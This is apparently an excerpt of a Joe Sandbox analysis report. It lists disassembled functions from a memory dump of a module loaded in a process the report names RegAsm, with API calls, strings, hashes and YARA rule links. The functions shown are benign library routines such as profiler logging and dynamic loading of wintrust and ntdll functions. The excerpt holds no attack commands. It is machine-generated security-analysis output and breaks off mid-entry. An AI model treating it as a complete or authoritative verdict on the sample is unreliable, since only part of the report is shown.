Opcode Fuzzy Hash: a16efd8ecb762e848a652b6167862a71f16dea95e765d75c702a62e22d1d4a81
Instruction Fuzzy Hash: 7C31CEB2B026918FEB54CF58D880A1AB7F2FF48354B14852DD95AEBB40D771EC01CB81

Function 6CB8E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB8E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8E04F

Part of subcall function 6CB894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB894EE
Part of subcall function 6CB894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB89508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CB8E057

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 4c1db14eec4f8164ae5cae36aa647b61e0caaa0b68a53df88af69cc014708a15
Instruction ID: 0668e907b5d822a3eb3449d2eb96aa1c095b9fd1a8cf8412deaca93ddb1e8eb3
Opcode Fuzzy Hash: 4c1db14eec4f8164ae5cae36aa647b61e0caaa0b68a53df88af69cc014708a15
Instruction Fuzzy Hash: 6721A778B011899FDF04DF64D8596EEB7B9EF49208F144414ED0AD7741DB31A909CBE2

Function 6CBA74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CBA7526
__Init_thread_footer.LIBCMT ref: 6CBA7566
__Init_thread_footer.LIBCMT ref: 6CBA7597

Strings

UnmapViewOfFile2, xrefs: 6CBA7552
kernel32.dll, xrefs: 6CBA7557

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: f39f705957c982d7cafea9ff141d57a04f253ccf922ff7a6d5deb66626a27cec
Instruction ID: a047cd6a98522b49424685ef1b0244c537d086553e909c8ca9924601cb814aed
Opcode Fuzzy Hash: f39f705957c982d7cafea9ff141d57a04f253ccf922ff7a6d5deb66626a27cec
Instruction Fuzzy Hash: 4F21493570C5C1EBCA149FE8C814E9D3379EB8A335F04456AE845A7B40CB70B9178AA7

Function 6CBAAB90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SearchPathW.KERNEL32(?,6CB6BFBD,.dll,00000000,00000000,00000000,6CB6BFBD), ref: 6CBAABBD
moz_xmalloc.MOZGLUE(00000001), ref: 6CBAABD8

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CBAABEB
SearchPathW.KERNEL32(?,?,.dll,00000001,?,00000000), ref: 6CBAAC03

Strings

.dll, xrefs: 6CBAABB4, 6CBAABFA

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: PathSearch$mallocmemsetmoz_xmalloc
String ID: .dll
API String ID: 3063185715-2738580789
Opcode ID: e2ca3e12f49b7e4f4e8f83ae1895f1c9297947ef52c09d87a743bf1887b1b987
Instruction ID: ef3c4e4f90de6ae386c5fe0f83b3ab0bde852bfcb15f9c9f1351bda044aa9313
Opcode Fuzzy Hash: e2ca3e12f49b7e4f4e8f83ae1895f1c9297947ef52c09d87a743bf1887b1b987
Instruction Fuzzy Hash: E201D2B2A0410A7FEB019EB48C44ABFBAADEB85250F010435FC08E3600E7759D548BB2

Function 6CBAA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBCF770,-00000001,?,6CBBE330,?,6CB6BDF7), ref: 6CBAA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CB6BDF7), ref: 6CBAA7C2
moz_xmalloc.MOZGLUE(00000018,?,6CB6BDF7), ref: 6CBAA7E4
LeaveCriticalSection.KERNEL32(6CBCF770), ref: 6CBAA80A

Strings

accelerator.dll, xrefs: 6CBAA7BF

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ddb944905c3f6097596003ce5b88a1d373d12663742503b9e1e9a58101bb9fc5
Instruction ID: 628531c7cfbbe533819e2aa3aeb56be8f0345e52c34c6fe46046005160880cea
Opcode Fuzzy Hash: ddb944905c3f6097596003ce5b88a1d373d12663742503b9e1e9a58101bb9fc5
Instruction Fuzzy Hash: FA018F717042449F9F04CF95D884C1677B8FF9932570480ABE8098B741DB709910CFA2

Function 6CB4F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CB4EE51,?), ref: 6CB4F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CB4F0C2

Strings

ole32, xrefs: 6CB4F0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CB4F0DC
Could not find CoTaskMemFree, xrefs: 6CB4F0E3

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 540549d3dfab9c76f213510f97bb2e53157abbb2b1b314135c77b676fae43e27
Instruction ID: 00e7a29560576b7c270bb22a2f9570daa7b4a60effcb27792365a1bc86584588
Opcode Fuzzy Hash: 540549d3dfab9c76f213510f97bb2e53157abbb2b1b314135c77b676fae43e27
Instruction Fuzzy Hash: 1FE0D878348286AB9F141E629818A2A37BD9B5A61A304C43DE401E3F00EA20D504D657

Function 6CBA73E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32.dll,?,?,6CB5434E), ref: 6CBA73EB
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwarenessContext), ref: 6CBA7404
FreeLibrary.KERNEL32(?,?,6CB5434E), ref: 6CBA7413

Strings

user32.dll, xrefs: 6CBA73E6
SetProcessDpiAwarenessContext, xrefs: 6CBA73FE

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: SetProcessDpiAwarenessContext$user32.dll
API String ID: 145871493-397433131
Opcode ID: e195230307eb577167f2b37277901b360d6c6ecea89bdce458e4022a2d841d5e
Instruction ID: f0615f357b2514c5c957b6f4440000b2831645e78b4495d248842ec55c57268c
Opcode Fuzzy Hash: e195230307eb577167f2b37277901b360d6c6ecea89bdce458e4022a2d841d5e
Instruction Fuzzy Hash: FEE04F782057429FEB101FA5C818716BBFCEB0AA55F008C3EEA85D3704EBF1D5008B91

Function 6CB80080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CB57204), ref: 6CB80088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CB800A7
FreeLibrary.KERNEL32(?,6CB57204), ref: 6CB800BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6CB800A1
wintrust.dll, xrefs: 6CB80083

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: ccfa7fc3b4a16c1a558b498eb88702c12007af244285655d91bbce062b23793a
Instruction ID: 7c100790bd2e38f793020d21620714c04625201dd5e3ce77b8e2e9d7fc519312
Opcode Fuzzy Hash: ccfa7fc3b4a16c1a558b498eb88702c12007af244285655d91bbce062b23793a
Instruction Fuzzy Hash: 96E0127464238ADBEF00AF26D8487053BFDAB0F386F00445AA910C3610DBB4C2009F22

Function 6CB800D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CB57235), ref: 6CB800D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CB800F7
FreeLibrary.KERNEL32(?,6CB57235), ref: 6CB8010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CB800F1
wintrust.dll, xrefs: 6CB800D3

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 902dfb54d8a7185e3506d2a8cb48706f5085184f1e523fa9a37264618d168694
Instruction ID: 748c7b1a4f51806f54eb396c78c1cd91aaa8e2550269d4696e5b95e29c05dc1d
Opcode Fuzzy Hash: 902dfb54d8a7185e3506d2a8cb48706f5085184f1e523fa9a37264618d168694
Instruction Fuzzy Hash: 1FE04F74382386DBEF00AF25D94A7253BF8E70F356F504455E92A83610D7B0C300CB11

Function 6CB801C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CB57266), ref: 6CB801C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6CB801E7
FreeLibrary.KERNEL32(?,6CB57266), ref: 6CB801FE

Strings

wintrust.dll, xrefs: 6CB801C3
CryptCATAdminReleaseContext, xrefs: 6CB801E1

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: 2ef40f6b0c0610cecc3432020a1bca9d0335da62b640fb561ca9a8c7232953cd
Instruction ID: d03676c4ee4d07d8ca49633dcdb149b479bf0dc91153d398d09bcc36ac611bf1
Opcode Fuzzy Hash: 2ef40f6b0c0610cecc3432020a1bca9d0335da62b640fb561ca9a8c7232953cd
Instruction Fuzzy Hash: F9E09A786823C6DBEF006F65D8487167BF9AB0B796F104855E905C3650DB7086009F21

Function 6CB80120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CB57297), ref: 6CB80128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6CB80147
FreeLibrary.KERNEL32(?,6CB57297), ref: 6CB8015E

Strings

CryptCATAdminEnumCatalogFromHash, xrefs: 6CB80141
wintrust.dll, xrefs: 6CB80123

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: 0d7e199529e38d4c61b1a7a735420dada5ed2d3d3f19340d670927f83e9a9f2d
Instruction ID: 938275dad1bd1ce0a41c1e9e4a14d3ae20a13db28140424b432cc6318e144d42
Opcode Fuzzy Hash: 0d7e199529e38d4c61b1a7a735420dada5ed2d3d3f19340d670927f83e9a9f2d
Instruction Fuzzy Hash: 78E01A74386285DBEF006F29E8487163BF8E70B796F004555A905C3710D770C2008F55

Function 6CB80170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CB57308), ref: 6CB80178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6CB80197
FreeLibrary.KERNEL32(?,6CB57308), ref: 6CB801AE

Strings

wintrust.dll, xrefs: 6CB80173
CryptCATCatalogInfoFromContext, xrefs: 6CB80191

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: 3fc008dbd1a48ebdb3ec2a118259efa7ebc1d2bd49e3864b6969d5bc1ea2099b
Instruction ID: 1d9161f5e2ad0d3324d6a5e528dba7ca4beda31e35c921e509e8cf6fd1b1e076
Opcode Fuzzy Hash: 3fc008dbd1a48ebdb3ec2a118259efa7ebc1d2bd49e3864b6969d5bc1ea2099b
Instruction Fuzzy Hash: 3BE01A78682285DBEF006F65D948B153BF8FB0A296F10049AEAC183690DB7082409B11

Function 6CBAC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CBAC0E9), ref: 6CBAC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CBAC437
FreeLibrary.KERNEL32(?,6CBAC0E9), ref: 6CBAC44C

Strings

ntdll.dll, xrefs: 6CBAC413
NtQueryVirtualMemory, xrefs: 6CBAC431

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: e097709393b1c8ab0328fc14910a9b25faefd22f56a38291568a2f6fc03071a0
Instruction ID: e20dc61c058e8d6450199a25796333af7b468cbdf4f09f0e70f0777ede00c2fd
Opcode Fuzzy Hash: e097709393b1c8ab0328fc14910a9b25faefd22f56a38291568a2f6fc03071a0
Instruction Fuzzy Hash: FBE0B67860934ADBDF007F71C9487157BF8E70EA16F00455BBA4493600EBB1CA018B55

Function 6CBA75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CBA748B,?), ref: 6CBA75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CBA75D7
FreeLibrary.KERNEL32(?,6CBA748B,?), ref: 6CBA75EC

Strings

RtlNtStatusToDosError, xrefs: 6CBA75D1
ntdll.dll, xrefs: 6CBA75B3

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 1be45831ccd59a9b20cf7dcbe6ec54efb289c740026469cd53f41773da2855f8
Instruction ID: 8c5346f8e3abfccfe622d522e45adde7d90e9acb6e744f931a2a31d2b55004cb
Opcode Fuzzy Hash: 1be45831ccd59a9b20cf7dcbe6ec54efb289c740026469cd53f41773da2855f8
Instruction Fuzzy Hash: 7AE0B6B6748346ABEF006FA2C8487057BF8EB1F618F10446AA905D3600EBB0C66ACF51

Function 6CBA7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CBA7592), ref: 6CBA7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CBA7627
FreeLibrary.KERNEL32(?,6CBA7592), ref: 6CBA763C

Strings

NtUnmapViewOfSection, xrefs: 6CBA7621
ntdll.dll, xrefs: 6CBA7603

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 729e2f4d77147ae6f85611f5668f3ff7ce4bbe46925746561a0bc3d67678b89f
Instruction ID: 792e24d79765d737d4064dabe83c1c9dc249726219f4cafe937ac8d1a8e7d818
Opcode Fuzzy Hash: 729e2f4d77147ae6f85611f5668f3ff7ce4bbe46925746561a0bc3d67678b89f
Instruction Fuzzy Hash: 9EE046B5308386ABDF006FAAC8087063BB8E72E36AF10445AE904D3710E7B082248F09

Function 6CBAC1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CBAC1DE,?,00000000,?,00000000,?,6CB5779F), ref: 6CBAC1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6CBAC217
FreeLibrary.KERNEL32(?,6CBAC1DE,?,00000000,?,00000000,?,6CB5779F), ref: 6CBAC22C

Strings

WinVerifyTrust, xrefs: 6CBAC211
wintrust.dll, xrefs: 6CBAC1F3

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: 2d9c5baf22ca7491094112caa98e34cb13c7deea74d9997bd1e6a82b84da75fd
Instruction ID: 97a3f190dd0da78f0be02ddcd4d550a095152fb6d7f3461f7e400e87273a1f54
Opcode Fuzzy Hash: 2d9c5baf22ca7491094112caa98e34cb13c7deea74d9997bd1e6a82b84da75fd
Instruction Fuzzy Hash: 0AE0B678205387DBDF007FA1C9487167FF8EB4E716F000959A905D3701EBB186008B61

Function 6CBABAB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernelbase.dll,?,6CB505BC), ref: 6CBABAB8
GetProcAddress.KERNEL32(00000000,VirtualAlloc2), ref: 6CBABAD7
FreeLibrary.KERNEL32(?,6CB505BC), ref: 6CBABAEC

Strings

kernelbase.dll, xrefs: 6CBABAB3
VirtualAlloc2, xrefs: 6CBABAD1

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: VirtualAlloc2$kernelbase.dll
API String ID: 145871493-1188699709
Opcode ID: 7600ea01e3d338d8b3ef823d93897dccbc37d440872ceb01ed004ea984653651
Instruction ID: 119a1237fdaed5ee8c725f105d86e5595b1ee99c02cbb71963edbae535cd265c
Opcode Fuzzy Hash: 7600ea01e3d338d8b3ef823d93897dccbc37d440872ceb01ed004ea984653651
Instruction Fuzzy Hash: 19E0B674305386DBEF009F62C9987097FF8E70E616F14445AE94493600FBB482089B11

Function 6CBAC290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CB577C5), ref: 6CBAC298
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle), ref: 6CBAC2B7
FreeLibrary.KERNEL32(?,6CB577C5), ref: 6CBAC2CC

Strings

CryptCATAdminCalcHashFromFileHandle, xrefs: 6CBAC2B1
wintrust.dll, xrefs: 6CBAC293

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
